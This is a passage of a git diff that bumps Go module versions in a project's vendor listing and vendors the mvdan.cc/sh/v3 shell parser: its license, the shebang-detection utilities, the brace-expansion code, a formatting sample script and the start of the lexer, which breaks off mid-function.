+github.com/rsteube/carapace/internal/spec
github.com/rsteube/carapace/internal/uid
github.com/rsteube/carapace/pkg/cache
+github.com/rsteube/carapace/pkg/match
github.com/rsteube/carapace/pkg/ps
github.com/rsteube/carapace/pkg/style
+github.com/rsteube/carapace/pkg/traverse
+github.com/rsteube/carapace/pkg/util
+github.com/rsteube/carapace/pkg/x
github.com/rsteube/carapace/pkg/xdg
github.com/rsteube/carapace/third_party/github.com/acarl005/stripansi
github.com/rsteube/carapace/third_party/github.com/drone/envsubst
@@ -604,6 +628,9 @@ github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors
github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui
github.com/rsteube/carapace/third_party/github.com/mitchellh/go-ps
github.com/rsteube/carapace/third_party/golang.org/x/sys/execabs
+# github.com/rsteube/carapace-shlex v0.1.1
+## explicit; go 1.15
+github.com/rsteube/carapace-shlex
# github.com/safchain/ethtool v0.3.0
## explicit; go 1.16
github.com/safchain/ethtool
@@ -668,8 +695,8 @@ github.com/tailscale/wireguard-go/tun
# github.com/tcnksm/go-httpstat v0.2.0
## explicit
github.com/tcnksm/go-httpstat
-# github.com/tetratelabs/wazero v1.3.1
-## explicit; go 1.18
+# github.com/tetratelabs/wazero v1.4.0
+## explicit; go 1.19
github.com/tetratelabs/wazero
github.com/tetratelabs/wazero/api
github.com/tetratelabs/wazero/experimental
@@ -736,7 +763,7 @@ go4.org/mem
# go4.org/netipx v0.0.0-20230824141953-6213f710f925
## explicit; go 1.18
go4.org/netipx
-# golang.org/x/crypto v0.15.0
+# golang.org/x/crypto v0.17.0
## explicit; go 1.18
golang.org/x/crypto/acme
golang.org/x/crypto/acme/autocert
@@ -768,7 +795,7 @@ golang.org/x/crypto/scrypt
golang.org/x/crypto/ssh
golang.org/x/crypto/ssh/agent
golang.org/x/crypto/ssh/internal/bcrypt_pbkdf
-# golang.org/x/exp v0.0.0-20230905200255-921286631fa9
+# golang.org/x/exp v0.0.0-20231219180239-dc181d75b848
## explicit; go 1.20
golang.org/x/exp/constraints
golang.org/x/exp/maps
@@ -776,11 +803,11 @@ golang.org/x/exp/slices
golang.org/x/exp/slog
golang.org/x/exp/slog/internal
golang.org/x/exp/slog/internal/buffer
-# golang.org/x/mod v0.13.0
+# golang.org/x/mod v0.14.0
## explicit; go 1.18
golang.org/x/mod/semver
-# golang.org/x/net v0.17.0
-## explicit; go 1.17
+# golang.org/x/net v0.19.0
+## explicit; go 1.18
golang.org/x/net/bpf
golang.org/x/net/dns/dnsmessage
golang.org/x/net/http/httpguts
@@ -799,20 +826,19 @@ golang.org/x/net/ipv6
golang.org/x/net/proxy
golang.org/x/net/route
golang.org/x/net/trace
-# golang.org/x/sync v0.4.0
-## explicit; go 1.17
+# golang.org/x/sync v0.5.0
+## explicit; go 1.18
golang.org/x/sync/errgroup
-# golang.org/x/sys v0.14.0
+# golang.org/x/sys v0.15.0
## explicit; go 1.18
golang.org/x/sys/cpu
-golang.org/x/sys/execabs
golang.org/x/sys/plan9
golang.org/x/sys/unix
golang.org/x/sys/windows
golang.org/x/sys/windows/registry
golang.org/x/sys/windows/svc
golang.org/x/sys/windows/svc/mgr
-# golang.org/x/term v0.14.0
+# golang.org/x/term v0.15.0
## explicit; go 1.18
golang.org/x/term
# golang.org/x/text v0.14.0
@@ -838,7 +864,7 @@ golang.org/x/text/width
# golang.org/x/time v0.3.0
## explicit
golang.org/x/time/rate
-# golang.org/x/tools v0.14.0
+# golang.org/x/tools v0.16.0
## explicit; go 1.18
golang.org/x/tools/go/gcexportdata
golang.org/x/tools/go/internal/packagesdriver
@@ -856,6 +882,7 @@ golang.org/x/tools/internal/pkgbits
golang.org/x/tools/internal/tokeninternal
golang.org/x/tools/internal/typeparams
golang.org/x/tools/internal/typesinternal
+golang.org/x/tools/internal/versions
# golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2
## explicit; go 1.17
golang.zx2c4.com/wintun
@@ -1144,6 +1171,10 @@ modernc.org/strutil
# modernc.org/token v1.0.1
## explicit
modernc.org/token
+# mvdan.cc/sh/v3 v3.7.0
+## explicit; go 1.19
+mvdan.cc/sh/v3/fileutil
+mvdan.cc/sh/v3/syntax
# nhooyr.io/websocket v1.8.7
## explicit; go 1.13
nhooyr.io/websocket
diff --git a/vendor/mvdan.cc/sh/v3/LICENSE b/vendor/mvdan.cc/sh/v3/LICENSE
new file mode 100644
index 0000000000..2a5268e5f1
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/LICENSE
@@ -0,0 +1,27 @@
+Copyright (c) 2016, Daniel Martí. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+ * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+ * Neither the name of the copyright holder nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/mvdan.cc/sh/v3/fileutil/file.go b/vendor/mvdan.cc/sh/v3/fileutil/file.go
new file mode 100644
index 0000000000..249ae94c4e
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/fileutil/file.go
@@ -0,0 +1,85 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+// Package fileutil allows inspecting shell files, such as detecting whether a
+// file may be shell or extracting its shebang.
+package fileutil
+
+import (
+ "io/fs"
+ "os"
+ "regexp"
+ "strings"
+)
+
+var (
+ shebangRe = regexp.MustCompile(`^#!\s?/(usr/)?bin/(env\s+)?(sh|bash|mksh|bats|zsh)(\s|$)`)
+ extRe = regexp.MustCompile(`\.(sh|bash|mksh|bats|zsh)$`)
+)
+
+// TODO: consider removing HasShebang in favor of Shebang in v4
+
+// HasShebang reports whether bs begins with a valid shell shebang.
+// It supports variations with /usr and env.
+func HasShebang(bs []byte) bool {
+ return Shebang(bs) != ""
+}
+
+// Shebang parses a "#!" sequence from the beginning of the input bytes,
+// and returns the shell that it points to.
+//
+// For instance, it returns "sh" for "#!/bin/sh",
+// and "bash" for "#!/usr/bin/env bash".
+func Shebang(bs []byte) string {
+ m := shebangRe.FindSubmatch(bs)
+ if m == nil {
+ return ""
+ }
+ return string(m[3])
+}
+
+// ScriptConfidence defines how likely a file is to be a shell script,
+// from complete certainty that it is not one to complete certainty that
+// it is one.
+type ScriptConfidence int
+
+const (
+ // ConfNotScript describes files which are definitely not shell scripts,
+ // such as non-regular files or files with a non-shell extension.
+ ConfNotScript ScriptConfidence = iota
+
+ // ConfIfShebang describes files which might be shell scripts, depending
+ // on the shebang line in the file's contents. Since CouldBeScript only
+ // works on os.FileInfo, the answer in this case can't be final.
+ ConfIfShebang
+
+ // ConfIsScript describes files which are definitely shell scripts,
+ // which are regular files with a valid shell extension.
+ ConfIsScript
+)
+
+// CouldBeScript is a shortcut for CouldBeScript2(fs.FileInfoToDirEntry(info)).
+//
+// Deprecated: prefer CouldBeScript2, which usually requires fewer syscalls.
+func CouldBeScript(info os.FileInfo) ScriptConfidence {
+ return CouldBeScript2(fs.FileInfoToDirEntry(info))
+}
+
+// CouldBeScript2 reports how likely a directory entry is to be a shell script.
+// It discards directories, symlinks, hidden files and files with non-shell
+// extensions.
+func CouldBeScript2(entry fs.DirEntry) ScriptConfidence {
+ name := entry.Name()
+ switch {
+ case entry.IsDir(), name[0] == '.':
+ return ConfNotScript
+ case entry.Type()&os.ModeSymlink != 0:
+ return ConfNotScript
+ case extRe.MatchString(name):
+ return ConfIsScript
+ case strings.IndexByte(name, '.') > 0:
+ return ConfNotScript // different extension
+ default:
+ return ConfIfShebang
+ }
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/braces.go b/vendor/mvdan.cc/sh/v3/syntax/braces.go
new file mode 100644
index 0000000000..f3452819ed
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/braces.go
@@ -0,0 +1,177 @@
+// Copyright (c) 2018, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import "strconv"
+
+var (
+ litLeftBrace = &Lit{Value: "{"}
+ litComma = &Lit{Value: ","}
+ litDots = &Lit{Value: ".."}
+ litRightBrace = &Lit{Value: "}"}
+)
+
+// SplitBraces parses brace expansions within a word's literal parts. If any
+// valid brace expansions are found, they are replaced with BraceExp nodes, and
+// the function returns true. Otherwise, the word is left untouched and the
+// function returns false.
+//
+// For example, a literal word "foo{bar,baz}" will result in a word containing
+// the literal "foo", and a brace expansion with the elements "bar" and "baz".
+//
+// It does not return an error; malformed brace expansions are simply skipped.
+// For example, the literal word "a{b" is left unchanged.
+func SplitBraces(word *Word) bool {
+ toSplit := false
+ top := &Word{}
+ acc := top
+ var cur *BraceExp
+ open := []*BraceExp{}
+
+ pop := func() *BraceExp {
+ old := cur
+ open = open[:len(open)-1]
+ if len(open) == 0 {
+ cur = nil
+ acc = top
+ } else {
+ cur = open[len(open)-1]
+ acc = cur.Elems[len(cur.Elems)-1]
+ }
+ return old
+ }
+ addLit := func(lit *Lit) {
+ acc.Parts = append(acc.Parts, lit)
+ }
+
+ for _, wp := range word.Parts {
+ lit, ok := wp.(*Lit)
+ if !ok {
+ acc.Parts = append(acc.Parts, wp)
+ continue
+ }
+ last := 0
+ for j := 0; j < len(lit.Value); j++ {
+ addlitidx := func() {
+ if last == j {
+ return // empty lit
+ }
+ l2 := *lit
+ l2.Value = l2.Value[last:j]
+ addLit(&l2)
+ }
+ switch lit.Value[j] {
+ case '{':
+ addlitidx()
+ acc = &Word{}
+ cur = &BraceExp{Elems: []*Word{acc}}
+ open = append(open, cur)
+ case ',':
+ if cur == nil {
+ continue
+ }
+ addlitidx()
+ acc = &Word{}
+ cur.Elems = append(cur.Elems, acc)
+ case '.':
+ if cur == nil {
+ continue
+ }
+ if j+1 >= len(lit.Value) || lit.Value[j+1] != '.' {
+ continue
+ }
+ addlitidx()
+ cur.Sequence = true
+ acc = &Word{}
+ cur.Elems = append(cur.Elems, acc)
+ j++
+ case '}':
+ if cur == nil {
+ continue
+ }
+ toSplit = true
+ addlitidx()
+ br := pop()
+ if len(br.Elems) == 1 {
+ // return {x} to a non-brace
+ addLit(litLeftBrace)
+ acc.Parts = append(acc.Parts, br.Elems[0].Parts...)
+ addLit(litRightBrace)
+ break
+ }
+ if !br.Sequence {
+ acc.Parts = append(acc.Parts, br)
+ break
+ }
+ var chars [2]bool
+ broken := false
+ for i, elem := range br.Elems[:2] {
+ val := elem.Lit()
+ if _, err := strconv.Atoi(val); err == nil {
+ } else if len(val) == 1 &&
+ 'a' <= val[0] && val[0] <= 'z' {
+ chars[i] = true
+ } else {
+ broken = true
+ }
+ }
+ if len(br.Elems) == 3 {
+ // increment must be a number
+ val := br.Elems[2].Lit()
+ if _, err := strconv.Atoi(val); err != nil {
+ broken = true
+ }
+ }
+ // are start and end both chars or
+ // non-chars?
+ if chars[0] != chars[1] {
+ broken = true
+ }
+ if !broken {
+ acc.Parts = append(acc.Parts, br)
+ break
+ }
+ // return broken {x..y[..incr]} to a non-brace
+ addLit(litLeftBrace)
+ for i, elem := range br.Elems {
+ if i > 0 {
+ addLit(litDots)
+ }
+ acc.Parts = append(acc.Parts, elem.Parts...)
+ }
+ addLit(litRightBrace)
+ default:
+ continue
+ }
+ last = j + 1
+ }
+ if last == 0 {
+ addLit(lit)
+ } else {
+ left := *lit
+ left.Value = left.Value[last:]
+ addLit(&left)
+ }
+ }
+ if !toSplit {
+ return false
+ }
+ // open braces that were never closed fall back to non-braces
+ for acc != top {
+ br := pop()
+ addLit(litLeftBrace)
+ for i, elem := range br.Elems {
+ if i > 0 {
+ if br.Sequence {
+ addLit(litDots)
+ } else {
+ addLit(litComma)
+ }
+ }
+ acc.Parts = append(acc.Parts, elem.Parts...)
+ }
+ }
+ *word = *top
+ return true
+}
diff --git a/vendor/mvdan.cc/sh/v3/syntax/canonical.sh b/vendor/mvdan.cc/sh/v3/syntax/canonical.sh
new file mode 100644
index 0000000000..012f48dd36
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/canonical.sh
@@ -0,0 +1,37 @@
+#!/bin/bash
+
+# separate comment
+
+! foo bar >a &
+
+foo() { bar; }
+
+{
+ var1="some long value" # var1 comment
+ var2=short # var2 comment
+}
+
+if foo; then bar; fi
+
+for foo in a b c; do
+ bar
+done
+
+case $foo in
+a) A ;;
+b)
+ B
+ ;;
+esac
+
+foo | bar
+foo &&
+ $(bar) &&
+ (more)
+
+foo 2>&1
+foo <<-EOF
+ bar
+EOF
+
+$((3 + 4))
diff --git a/vendor/mvdan.cc/sh/v3/syntax/doc.go b/vendor/mvdan.cc/sh/v3/syntax/doc.go
new file mode 100644
index 0000000000..5c6275e46c
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/doc.go
@@ -0,0 +1,6 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+// Package syntax implements parsing and formatting of shell programs.
+// It supports POSIX Shell, Bash, and mksh.
+package syntax
diff --git a/vendor/mvdan.cc/sh/v3/syntax/lexer.go b/vendor/mvdan.cc/sh/v3/syntax/lexer.go
new file mode 100644
index 0000000000..b5dddab7e9
--- /dev/null
+++ b/vendor/mvdan.cc/sh/v3/syntax/lexer.go
@@ -0,0 +1,1209 @@
+// Copyright (c) 2016, Daniel Martí
+// See LICENSE for licensing information
+
+package syntax
+
+import (
+ "bytes"
+ "io"
+ "unicode/utf8"
+)
+
+// bytes that form or start a token
+func regOps(r rune) bool {
+ switch r {
+ case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`':
+ return true
+ }
+ return false
+}
+
+// tokenize these inside parameter expansions
+func paramOps(r rune) bool {
+ switch r {
+ case '}', '#', '!', ':', '-', '+', '=', '?', '%', '[', ']', '/', '^',
+ ',', '@', '*':
+ return true
+ }
+ return false
+}
+
+// these start a parameter expansion name
+func paramNameOp(r rune) bool {
+ switch r {
+ case '}', ':', '+', '=', '%', '[', ']', '/', '^', ',':
+ return false
+ }
+ return true
+}
+
+// tokenize these inside arithmetic expansions
+func arithmOps(r rune) bool {
+ switch r {
+ case '+', '-', '!', '~', '*', '/', '%', '(', ')', '^', '<', '>', ':', '=',
+ ',', '?', '|', '&', '[', ']', '#':
+ return true
+ }
+ return false
+}
+
+func bquoteEscaped(b byte) bool {
+ switch b {
+ case '$', '`', '\\':
+ return true
+ }
+ return false
+}
+
+const escNewl rune = utf8.RuneSelf + 1
+
+func (p *Parser) rune() rune {
+ if p.r == '\n' || p.r == escNewl {
+ // p.r instead of b so that newline
+ // character positions don't have col 0.
+ if p.line++; p.line > lineMax {
+ p.lineOverflow = true
+ }
+ p.col = 0
+ p.colOverflow = false
+ }
+ if p.col += p.w; p.col > colMax {
+ p.colOverflow = true
+ }
+ bquotes := 0
+retry:
+ if p.bsp < len(p.bs) {
+ if b := p.bs[p.bsp]; b < utf8.RuneSelf {
+ p.bsp++
+ if b == '\x00' {
+ // Ignore null bytes while parsing, like bash.
+ goto retry
+ }
+ if b == '\\' {
+ if p.r == '\\' {
+ } else if p.peekByte('\n') {
+ p.bsp++
+ p.w, p.r = 1, escNewl
+ return escNewl
+ } else if p.peekBytes("\r\n") {
+ p.bsp += 2
+ p.w, p.r = 2, escNewl
+ return escNewl
+ }
+ if p.openBquotes > 0 && bquotes < p.openBquotes &&
+ p.bsp < len(p.bs) && bquoteEscaped(p.bs[p.bsp]) {
+ bquotes++
+ goto retry
+ }
+ }
+ if b == '`' {
+ p.lastBquoteEsc = bquotes
+ }
+ if p.litBs != nil {
+ p.litBs = append(p.litBs, b)
+ }
+ p.w, p.r = 1, rune(b)
+ return p.r
+ }
+ if !utf8.FullRune(p.bs[p.bsp:]) {
+ // we need more bytes to read a full non-ascii rune
+ p.fill()
+ }
+ var w int
+ p.r, w = utf8.DecodeRune(p.bs[p.bsp:])
+ if p.litBs != nil {
+ p.litBs = append(p.litBs, p.bs[p.bsp:p.bsp+w]...)
+ }
+ p.bsp += w
+ if p.r == utf8.RuneError && w == 1 {
+ p.posErr(p.nextPos(), "invalid UTF-8 encoding")
+ }
+ p.w = w
+ } else {
+ if p.r == utf8.RuneSelf {
+ } else if p.fill(); p.bs == nil {
+ p.bsp++
+ p.r = utf8.RuneSelf
+ p.w = 1
+ } else {
+ goto retry
+ }
+ }
+ return p.r
+}
+
+// fill reads more bytes from the input src into readBuf. Any bytes that
+// had not yet been used at the end of the buffer are slid into the
+// beginning of the buffer.
+func (p *Parser) fill() {
+ p.offs += p.bsp
+ left := len(p.bs) - p.bsp
+ copy(p.readBuf[:left], p.readBuf[p.bsp:])
+readAgain:
+ n, err := 0, p.readErr
+ if err == nil {
+ n, err = p.src.Read(p.readBuf[left:])
+ p.readErr = err
+ }
+ if n == 0 {
+ if err == nil {
+ goto readAgain
+ }
+ // don't use p.errPass as we don't want to overwrite p.tok
+ if err != io.EOF {
+ p.err = err
+ }
+ if left > 0 {
+ p.bs = p.readBuf[:left]
+ } else {
+ p.bs = nil
+ }
+ } else {
+ p.bs = p.readBuf[:left+n]
+ }
+ p.bsp = 0
+}
+
+func (p *Parser) nextKeepSpaces() {
+ r := p.r
+ if p.quote != hdocBody && p.quote != hdocBodyTabs {
+ // Heredocs handle escaped newlines in a special way, but others
+ // do not.
+ for r == escNewl {
+ r = p.rune()
+ }
+ }
+ p.pos = p.nextPos()
+ switch p.quote {
+ case paramExpRepl:
+ switch r {
+ case '}', '/':
+ p.tok = p.paramToken(r)
+ case '`', '"', '$', '\'':
+ p.tok = p.regToken(r)
+ default:
+ p.advanceLitOther(r)
+ }
+ case dblQuotes:
+ switch r {
+ case '`', '"', '$':
+ p.tok = p.dqToken(r)
+ default:
+ p.advanceLitDquote(r)
+ }
+ case hdocBody, hdocBodyTabs:
+ switch r {
+ case '`', '$':
+ p.tok = p.dqToken(r)
+ default:
+ p.advanceLitHdoc(r)
+ }
+ default: // paramExpExp:
+ switch r {
+ case '}':
+ p.tok = p.paramToken(r)
+ case '`', '"', '$', '\'':
+ p.tok = p.regToken(r)
+ default:
+ p.advanceLitOther(r)
+ }
+ }
+ if p.err != nil && p.tok != _EOF {
+ p.tok = _EOF
+ }
+}
+
+func (p *Parser) next() {
+ if p.r == utf8.RuneSelf {
+ p.tok = _EOF
+ return
+ }
+ p.spaced = false
+ if p.quote&allKeepSpaces != 0 {
+ p.nextKeepSpaces()
+ return
+ }
+ r := p.r
+ for r == escNewl {
+ r = p.rune()
+ }
+skipSpace:
+ for {
+ switch r {
+ case utf8.RuneSelf:
+ p.tok = _EOF
+ return
+ case escNewl:
+ r = p.rune()
+ case ' ', '\t', '\r':
+ p.spaced = true
+ r = p.rune()
+ case '\n':
+ if p.tok == _Newl {
+ // merge consecutive newline tokens
+ r = p.rune()
+ continue
+ }
+ p.spaced = true
+ p.tok = _Newl
+ if p.quote != hdocWord && len(p.heredocs) > p.buriedHdocs {
+ p.doHeredocs()
+ }
+ return
+ default:
+ break skipSpace
+ }
+ }
+ if p.stopAt != nil && (p.spaced || p.tok == illegalTok || p.stopToken()) {
+ w := utf8.RuneLen(r)
+ if bytes.HasPrefix(p.bs[p.bsp-w:], p.stopAt) {
+ p.r = utf8.RuneSelf
+ p.w = 1
+ p.tok = _EOF
+ return
+ }
+ }
+ p.pos = p.nextPos()
+ switch {
+ case p.quote&allRegTokens != 0:
+ switch r {
+ case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`':
+ p.tok = p.regToken(r)
+ case '#':
+ // If we're parsing $foo#bar, ${foo}#bar, 'foo'#bar, or "foo"#bar,
+ // #bar is a continuation of the same word, not a comment.
+ // TODO: support $(foo)#bar and `foo`#bar as well, which is slightly tricky,
+ // as we can't easily tell them apart from (foo)#bar and `#bar`,
+ // where #bar should remain a comment.
+ if !p.spaced {
+ switch p.tok {
+ case _LitWord, rightBrace, sglQuote, dblQuote:
+ p.advanceLitNone(r)
+ return
+ }
+ }
+ r = p.rune()
+ p.newLit(r)
+ runeLoop:
+ for {
+ switch r {
+ case '\n', utf8.RuneSelf:
+ break runeLoop
+ case escNewl:
+ p.litBs = append(p.litBs, '\\', '\n')
+ break runeLoop
+ case '`':
+ if p.backquoteEnd() {
+ break runeLoop
+ }
+ }
+ r = p.rune()
+ }
+ if p.keepComments {
+ *p.curComs = append(*p.curComs, Comment{
+ Hash: p.pos,
+ Text: p.endLit(),
+ })
+ } else {
+ p.litBs = nil
+ }
+ p.next()
+ case '[', '=':
+ if p.quote == arrayElems {
+ p.tok = p.paramToken(r)
+ } else {
+ p.advanceLitNone(r)
+ }
+ case '?', '*', '+', '@', '!':
+ if p.extendedGlob() {
+ switch r {
+ case '?':
+ p.tok = globQuest
+ case '*':
+ p.tok = globStar
+ case '+':
+ p.tok = globPlus
+ case '@':
+ p.tok = globAt
+ default: // '!'
+ p.tok = globExcl
+ }
+ p.rune()
+ p.rune()
+ } else {
+ p.advanceLitNone(r)
+ }
+ default:
+ p.advanceLitNone(r)
+ }
+ case p.quote&allArithmExpr != 0 && arithmOps(r):
+ p.tok = p.arithmToken(r)
+ case p.quote&allParamExp != 0 && paramOps(r):
+ p.tok = p.paramToken(r)
+ case p.quote == testExprRegexp:
+ if !p.rxFirstPart && p.spaced {
+ p.quote = noState
+ goto skipSpace
+ }
+ p.rxFirstPart = false
+ switch r {
+ case ';', '"', '\'', '$', '&', '>', '<', '`':
+ p.tok = p.regToken(r)
+ case ')':
+ if p.rxOpenParens > 0 {
+ // continuation of open paren
+ p.advanceLitRe(r)
+ } else {
+ p.tok = rightParen
+ p.quote = noState
+ p.rune() // we are tokenizing manually
+ }
+ default: // including '(', '|'
+ p.advanceLitRe(r)
+ }
+ case regOps(r):
+ p.tok = p.regToken(r)
+ default:
+ p.advanceLitOther(r)
+ }
+ if p.err != nil && p.tok != _EOF {
+ p.tok = _EOF
+ }
+}
+
+// extendedGlob determines whether we're parsing a Bash extended globbing expression.
+// For example, whether `*` or `@` are followed by `(` to form `@(foo)`.
+func (p *Parser) extendedGlob() bool {
+ if p.val == "function" {
+ return false
+ }
+ if p.peekByte('(') {
+ // NOTE: empty pattern list is a valid globbing syntax like `@()`,
+ // but we'll operate on the "likelihood" that it is a function;
+ // only tokenize if its a non-empty pattern list.
+ // We do this after peeking for just one byte, so that the input `echo *`
+ // followed by a newline does not hang an interactive shell parser until
+ // another byte is input.
+ return !p.peekBytes("()")
+ }
+ return false
+}
+
+func (p *Parser) peekBytes(s string) bool {
+ peekEnd := p.bsp + len(s)
+ // TODO: This should loop for slow readers, e.g. those providing one byte at
+ // a time. Use a loop and test it with testing/iotest.OneByteReader.
+ if peekEnd > len(p.bs) {
+ p.fill()
+ }
+ return peekEnd <= len(p.bs) && bytes.HasPrefix(p.bs[p.bsp:peekEnd], []byte(s))
+}
+
+func (p *Parser) peekByte(b byte) bool {
+ if p.bsp == len(p.bs) {
+ p.fill()
+ }
+ return p.bsp < len(p.bs) && p.bs[p.bsp] == b
+}
+
+func (p *Parser) regToken(r rune) token {
+ switch r {
+ case '\'':
+ if p.openBquotes > 0 {
+ // bury openBquotes
+ p.buriedBquotes = p.openBquotes
+ p.openBquotes = 0
+ }
+ p.rune()
+ return sglQuote
+ case '"':
+ p.rune()
+ return dblQuote
+ case '`':
+ // Don't call p.rune, as we need to work out p.openBquotes to
+ // properly handle backslashes in the lexer.
+ return bckQuote
+ case '&':
+ switch p.rune() {
+ case '&':
+ p.rune()
+ return andAnd
+ case '>':
+ if p.rune() == '>' {
+ p.rune()
+ return appAll
+ }
+ return rdrAll
+ }
+ return and
+ case '|':
+ switch p.rune() {
+ case '|':
+ p.rune()
+ return orOr
+ case '&':
+ if p.lang == LangPOSIX {
+ break
+ }
+ p.rune()
+ return orAnd
+ }
+ return or
+ case '$':
+ switch p.rune() {
+ case '\'':
+ if p.lang == LangPOSIX {
+ break
+ }
+ p.rune()
+ return dollSglQuote
+ case '"':
+ if p.lang == LangPOSIX {
+ break
+ }
+ p.rune()
+ return dollDblQuote
+ case '{':
+ p.rune()
+ return dollBrace
+ case '[':
+ if !p.lang.isBash() || p.quote == paramExpName {
+ // latter to not tokenise ${$[@]} as $[
+ break
+ }
+ p.rune()
+ return dollBrack
+ case '(':
+ if p.rune() == '(' {
+ p.rune()
+ return dollDblParen
+ }
+ return dollParen
+ }
+ return dollar
+ case '(':
+ if p.rune() == '(' && p.lang != LangPOSIX && p.quote != testExpr {
+ p.rune()
+ return dblLeftParen
+ }
+ return leftParen
+ case ')':
+ p.rune()
+ return rightParen
+ case ';':
+ switch p.rune() {
+ case ';':
+ if p.rune() == '&' && p.lang.isBash() {
+ p.rune()
+ return dblSemiAnd
+ }
+ return dblSemicolon
+ case '&':
+ if p.lang == LangPOSIX {
+ break
+ }
+ p.rune()
+ return semiAnd
+ case '|':
+ if p.lang != LangMirBSDKorn {
+ break
+ }
+ p.rune()
+ return semiOr
+ }
+ return semicolon
+ case '<':
+ switch p.rune() {
+ case '<':
+ if r = p.rune(); r == '-' {
+ p.rune()
+ return dashHdoc
+ } else if r == '<' {
+ p.rune()
+ return wordHdoc
+ }
+ return hdoc
+ case '>':
+ p.rune()
+ return rdrInOut
+ case '&':
+ p.rune()
+ return dplIn
+ case '(':
+ if !p.lang.isBash() {
+ break
+ }
+ p.rune()
+ return cmdIn
+ }
+ return rdrIn
+ default: // '>'
+ switch p.rune() {
+ case '>':
+ p.rune()
+ return appOut
+ case '&':
+ p.rune()
+ return dplOut
+ case '|':
+ p.rune()
+ return clbOut
+ case '(':
+ if !p.lang.isBash() {
+ break
+ }
+ p.rune()
+ return cmdOut
+ }
+ return rdrOut
+ }
+}
+
+func (p *Parser) dqToken(r rune) token {
+ switch r {
+ case '"':
+ p.rune()
+ return dblQuote
+ case '`':
+ // Don't call p.rune, as we need to work out p.openBquotes to
+ // properly handle backslashes in the lexer.
+ return bckQuote
+ default: // '$'
+ switch p.rune() {
+ case '{':
+ p.rune()
+ return dollBrace
+ case '[':
+ if !p.lang.isBash() {
+ break
+ }
+ p.rune()
+ return dollBrack
+ case '(':
+ if p.rune() == '(' {
+ p.rune()
+ return dollDblParen
+ }
+ return dollParen
+ }
+ return dollar
+ }
+}
+
+func (p *Parser) paramToken(r rune) token {
+ switch r {
+ case '}':
+ p.rune()
+ return rightBrace
+ case ':':
+ switch p.rune() {
+ case '+':
+ p.rune()
+ return colPlus
+ case '-':
+ p.rune()
+ return colMinus
+ case '?':
+ p.rune()
+ return colQuest
+ case '=':
+ p.rune()
+ return colAssgn
+ }
+ return colon
+ case '+':
+ p.rune()
+ return plus
+ case '-':
+ p.rune()
+ return minus
+ case '?':
+ p.rune()
+ return quest
+ case '=':
+ p.rune()
+ return assgn
+ case '%':
+ if p.rune() == '%' {
+ p.rune()
+ return dblPerc
+ }
+ return perc
+ case '#':
+ if p.rune() == '#' {
+ p.rune()
+ return dblHash
+ }
+ return hash
+ case '!':
+ p.rune()
+ return exclMark
+ case '[':
+ p.rune()
+ return leftBrack
+ case ']':
+ p.rune()
+ return rightBrack
+ case '/':
+ if p.rune() == '/' && p.quote != paramExpRepl {
+ p.rune()
+ return dblSlash
+ }
+ return slash
+ case '^':
+ if p.rune() == '^' {
+ p.rune()
+ return dblCaret
+ }
+ return caret
+ case ',':
+ if p.rune() == ',' {
+ p.rune()
+ return dblComma
+ }
+ return comma
+ case '@':
+ p.rune()
+ return at
+ default: // '*'
+ p.rune()
+ return star
+ }
+}
+
+func (p *Parser) arithmToken(r rune) token {
+ switch r {
+ case '!':
+ if p.rune() == '=' {
+ p.rune()
+ return nequal
+ }
+ return exclMark
+ case '=':
+ if p.rune() == '=' {
+ p.rune()
+ return equal
+ }
+ return assgn
+ case '~':
+ p.rune()
+ return tilde
+ case '(':
+ p.rune()
+ return leftParen
+ case ')':
+ p.rune()
+ return rightParen
+ case '&':
+ switch p.rune() {
+ case '&':
+ p.rune()
+ return andAnd
+ case '=':
+ p.rune()
+ return andAssgn
+ }
+ return and
+ case '|':
+ switch p.rune() {
+ case '|':
+ p.rune()
+ return orOr
+ case '=':
+ p.rune()
+ return orAssgn
+ }
+ return or
+ case '<':
+ switch p.rune() {
+ case '<':
+ if p.rune() == '=' {
+ p.rune()
+ return shlAssgn
+ }
+ return hdoc
+ case '=':
+ p.rune()
+ return lequal
+ }
+ return rdrIn
+ case '>':
+ switch p.rune() {
+ case '>':
+ if p.rune() == '=' {
+ p.rune()
+ return shrAssgn
+ }
+ return appOut
+ case '=':
+ p.rune()
+ return gequal
+ }
+ return rdrOut
+ case '+':
+ switch p.rune() {
+ case '+':
